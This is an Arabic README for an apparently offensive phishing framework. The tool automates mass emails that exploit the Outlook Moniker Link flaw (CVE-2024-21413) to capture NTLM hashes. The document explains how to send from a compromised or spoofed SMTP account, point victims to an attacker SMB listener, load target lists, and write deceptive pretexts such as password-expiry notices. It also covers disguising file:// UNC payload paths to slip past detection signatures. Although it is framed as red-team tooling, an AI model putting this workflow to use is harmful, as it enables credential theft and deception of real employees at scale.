BLIND TRUST - إطار عمل محاكاة هجمات التصيد عبر Moniker Link

أداة بحث أمني لمحاكاة حملات تصيد موجهة تستغل ثغرة Moniker Link المعروفة باسم CVE-2024-21413. صُممت لعمليات الفريق الأحمر المصرح بها واختبار الاختراق والتدريب على التوعية الأمنية.

نظرة عامة

BLIND TRUST هو إطار عمل لعمليات التصيد يساعد فرق الأمن على فهم واختبار دفاعاتها ضد الهجمات المتطورة القائمة على البريد الإلكتروني. يستخدم تقنية Moniker Link لتجاوز وضع Protected View في Outlook، مما يوفر محاكاة واقعية للهجمات يمكن للمؤسسات استخدامها لتعزيز وضعها الأمني.

تقوم هذه الأداة بأتمتة سير عمل الحملة بالكامل — من الإعداد وحتى تسليم البريد الإلكتروني — مع الحفاظ على الأمن العملياتي عبر مسارات UNC قابلة للتخصيص وخيارات حجج مرنة.

الغرض

تحتاج المؤسسات إلى فهم تقنيات الهجوم الحقيقية للدفاع بفعالية. تتيح TRUST ما يلي:

• عمليات الفريق الأحمر - تنفيذ حملات تصيد مصرح بها كجزء من التقييمات الأمنية
• التدريب على التوعية الأمنية - عرض ناقلات الهجوم الواقعية للموظفين
• التحقق من الثغرات - اختبار قدرات الكشف ضد التقنيات المعروفة
• أبحاث الدفاع - فهم سلوك Moniker Link في بيئتك

الميزات

• حملات متعددة الأهداف - إرسال رسائل تصيد إلى أهداف متعددة بإعداد واحد
• تحميل مرن للأهداف - تحميل الأهداف عبر إدخال تفاعلي أو ملفات .txt بنمط قوائم الكلمات
• حجة قابلة للتخصيص - التحكم في موضوع البريد الإلكتروني واسم المرسل الظاهر ونص الرسالة
• مسارات UNC غير بارزة - تخصيص مسار Moniker Link ليبدو واقعياً (المجال، اسم المشاركة، اسم الاستغلال)
• مصادقة SMTP - دعم لخوادم SMTP متعددة مع التفاوض على TLS
• منطق إعادة محاولة تلقائي - تراجع تصاعدي للفشل المؤقت في SMTP
• تقارير الحملة - حالة التسليم لكل هدف مع نتائج مجمعة
• لا توقيعات مشفرة داخل الكود - إزالة المؤشرات الواضحة التي تكشف التقنية

التثبيت

المتطلبات

• Python 3.7+
• المكتبة القياسية فقط (بدون تبعيات خارجية)

الإعداد

# Clone the repository
git clone https://github.com/h1ssbl1tz/Blind-Trust.git
cd TRUST

# Run the tool
python3 TRUST_v7.py

المتطلبات

تستخدم الأداة وحدات المكتبة القياسية في Python فقط:

getpass      - Secure password input
html         - HTML escaping
ipaddress    - IP address validation
logging      - Structured logging
os           - File operations
re           - Regular expressions
signal       - Signal handling
smtplib      - SMTP email protocol
sys          - System utilities
time         - Time operations
dataclasses  - Configuration modeling
email        - MIME email construction
typing       - Type hints

لا تتطلب أي حزم خارجية — تعمل في أي مكان باستخدام Python 3.7+.

بدء سريع

python3 TRUST_v7.py

اتبع المعالج التفاعلي عبر 5 خطوات:

1. بيانات المهاجم - حساب SMTP لإرسال الرسائل
2. إعداد مستمع SMB - عنوان IP الذي ستتصل به الأهداف
3. إعداد الأهداف - تحميل الضحايا من الإدخال أو ملف قائمة كلمات
4. تخصيص البريد الإلكتروني - الموضوع واسم المرسل ونص الرسالة
5. تخصيص الحمولة - مضيف مسار UNC واسم المشاركة واسم الاستغلال

أمثلة الاستخدام

المثال 1: إدخال تفاعلي (حملة صغيرة)

Load targets from [f]ile or [i]nput directly?: i
Target email address(es): [email protected], [email protected]

Email subject [Security Update Required]: Urgent: Password Expiration Notice
Display name (From field) [Microsoft Security Center]: IT Security Team
Email body text: Your password expires in 24 hours. Please update immediately.

UNC host (IP or domain) [192.168.1.100]: it-internal.company.com
UNC share name [updates]: patches
UNC exploit name [patch]: kb_security_2024

المثال 2: تحميل قائمة كلمات (حملة كبيرة)

أنشئ ملف targets.txt:

# Finance Department
[email protected]
[email protected]
[email protected]

# Accounting
[email protected]
[email protected]

ثم شغّل:

Load targets from [f]ile or [i]nput directly?: f
Path to targets file: targets.txt
[+] Loaded 5 target(s) from targets.txt

المثال 3: حجة مالية واقعية

Email subject: Q3 Financial Review - Action Required
Display name: Finance Operations Team
Email body: Please review the attached Q3 financial statement and provide approval.

UNC host: finance-internal.company.com
UNC share: quarterly
UNC exploit: q3_financial_report

Generated UNC path: file://finance-internal.company.com/quarterly!q3_financial_report

شرح الإعدادات

الخطوة 1: بيانات المهاجم

• بريد المهاجم الإلكتروني: عنوان البريد المستخدم لإرسال رسائل التصيد (عادةً حساب مخترق أو منتحل)
• كلمة مرور SMTP: بيانات المصادقة لخادم البريد

الخطوة 2: مستمع SMB

• عنوان IP لمستمع SMB: عنوان IP الذي يعمل عليه مستمع SMB لديك (مثل Responder أو impacket-smbserver). ستحاول الأهداف الاتصال به هنا عند النقر على Moniker Link.

الخطوة 3: إعداد الأهداف

خياران:

• إدخال تفاعلي: لصق الرسائل الإلكترونية مباشرة (مفصولة بفواصل أو أسطر جديدة)
• ملف قائمة كلمات: التحميل من ملف .txt ببريد إلكتروني واحد لكل سطر، مع تعليقات تبدأ بـ #

الخطوة 4: تخصيص البريد الإلكتروني

• الموضوع: سطر موضوع البريد (تجنب الإشارات إلى CVE؛ أبقِه بأسلوب عملي)
• اسم المرسل الظاهر: الاسم الظاهر في ترويسة البريد الإلكتروني
• نص البريد: نص الحجة الذي يشرح لماذا يجب على الأهداف النقر على الرابط

الخطوة 5: تخصيص الحمولة

هذا هو المكان الذي تتجنب فيه التوقيعات الواضحة:

• مضيف UNC: استخدم مجالاً أو نطاقاً فرعياً واقعياً (مثل finance-internal.company.com) بدلاً من مجرد عنوان IP
• مشاركة UNC: اسم مشاركة واقعي مثل quarterly أو updates أو documents
• استغلال UNC: اسم ملف واقعي مثل q3_report أو security_patch أو training_document

النتيجة: بدلاً من الصيغة الواضحة \\192.168.1.100\share!exploit، تحصل على شيء مثل file://finance-internal.company.com/quarterly!q3_report.

تدفق التنفيذ

Start
  ↓
[STEP 1] Prompt for attacker email and SMTP password
  ↓
[STEP 2] Prompt for SMB listener IP
  ↓
[STEP 3] Load target emails (file or input)
  ↓
     ↓→ For each target:
     │  - Validate email format
     │  - Check for duplicates
     │
[STEP 4] Prompt for email pretext
     │  - Subject, From name, body text
     │
[STEP 5] Prompt for UNC path customization
     │  - Host, share, exploit name
     │
  ↓
[BUILD] Construct configuration object
  ↓
[VALIDATE] Check all fields are present and valid
  ↓
[SUMMARY] Display pre-send summary for review
  ↓
[CONFIRM] User approves or cancels
  ↓
[SEND] For each target:
     │  - Build MIME email with custom Moniker Link
     │  - Attempt SMTP delivery with retry logic
     │  - Log per-target success/failure
     │
  ↓
[REPORT] Display campaign results (delivered vs failed)
  ↓
Exit

كيف يعمل

الثغرة

CVE-2024-21413 (Moniker Link) هي ثغرة في Outlook تسمح بتضمين عناوين file:// مع حرف !. عند قيام المستخدم بالنقر على مثل هذا الرابط، يحاول Outlook الوصول إلى مسار UNC، مما يؤدي إلى تشغيل محاولة مصادقة NTLM حتى في وضع Protected View.

تدفق الهجوم

1. يتلقى المستخدم بريداً إلكترونياً يحتوي على Moniker Link
2. يبدو البريد شرعياً (بفضل الحجة المخصصة لديك)
3. ينقر المستخدم على الرابط
4. يحاول Outlook الوصول إلى \\host\share!exploit
5. يتجاوز حرف ! وضع Protected View
6. يتحقق نظام المستخدم من المصادقة لدى مستمع SMB لديك
7. تلتقط تجزئة NTLM أو معلومات بيانات الاعتماد

ماذا تفعل هذه الأداة

تقوم TRUST بأتمتة مرحلة التسليم:

• تصمم رسائل بريد إلكتروني واقعية بحجة مخصصة
• تحقن Moniker Link في حمولة HTML
• تدير اتصالات SMTP وإعادة المحاولة
• تتعامل مع أهداف متعددة بكفاءة
• توفر تقارير عن الحملة

استكشاف الأخطاء وإصلاحها

المشكلة: "SMTP attempt 3 failed: [SMTP: 535]"

الحل: تحقق من بيانات اعتماد SMTP. بالنسبة إلى Gmail، استخدم كلمة مرور خاصة بالتطبيق. بالنسبة لبريد الشركات، راجع مسؤول SMTP لديك.

المشكلة: "TLS not supported. Proceeding without encryption."

الحل: أمر طبيعي لبعض خوادم SMTP. سيستمر الاتصال بدون تشفير TLS.

المشكلة: "Invalid email: victim@"

الحل: تأكد من أن عناوين البريد في ملفات قوائم الكلمات كاملة وبتنسيق صحيح ([email protected]).

المشكلة: "Recipient rejected"

الحل: عنوان البريد غير موجود على الخادم الهدف، أو أن الخادم يمنع الترحيل من حسابك.

المشكلة: "File not found: targets.txt"

الحل: تحقق من صحة مسار الملف ووجود الملف في الدليل الحالي.